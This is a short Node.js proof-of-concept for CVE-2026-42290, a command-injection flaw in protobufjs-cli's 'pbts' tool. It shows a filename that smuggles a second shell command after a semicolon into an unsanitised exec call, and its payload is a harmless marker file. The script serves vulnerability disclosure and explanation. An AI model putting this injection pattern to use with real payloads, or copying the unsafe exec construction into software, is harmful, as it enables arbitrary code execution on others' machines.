CVE-2026-42290 protobufjs-cli命令注入漏洞

// PoC for CVE-2026-42290: protobufjs-cli Command Injection // Description: This script demonstrates the vulnerability where filenames with shell metacharacters // lead to command execution when processed by the vulnerable 'pbts' tool. const fs = require('fs'); const { exec } = require('child_process'); // Step 1: Attacker creates a malicious filename containing shell metacharacters // The semicolon (;) acts as a command separator in Unix shells. const maliciousFilename = "safe_file.proto; echo 'VULNERABILITY_EXPLOITED' > /tmp/pwned.txt"; console.log(`[+] Attempting to create file with name: ${maliciousFilename}`); // Create a dummy file with the malicious name (Note: Some filesystems restrict special chars) try { fs.writeFileSync(maliciousFilename, "syntax = \"proto3\";"); console.log("[+] File created successfully."); } catch (err) { console.log("[-] Could not create file directly (OS restriction), but the logic remains the same."); } // Step 2: Simulate the vulnerable 'pbts' logic // The vulnerable code constructs the command string using the filename directly const command = `jsdoc ${maliciousFilename}`; console.log(`[!] Executing vulnerable command: ${command}`); // Step 3: Execution // In the real scenario, 'exec' passes this string to /bin/sh, executing both 'jsdoc' and 'echo' exec(command, (error, stdout, stderr) => { if (error) { console.error(`Error: ${error.message}`); return; } if (stderr) { console.error(`Stderr: ${stderr}`); return; } console.log(`Output: ${stdout}`); });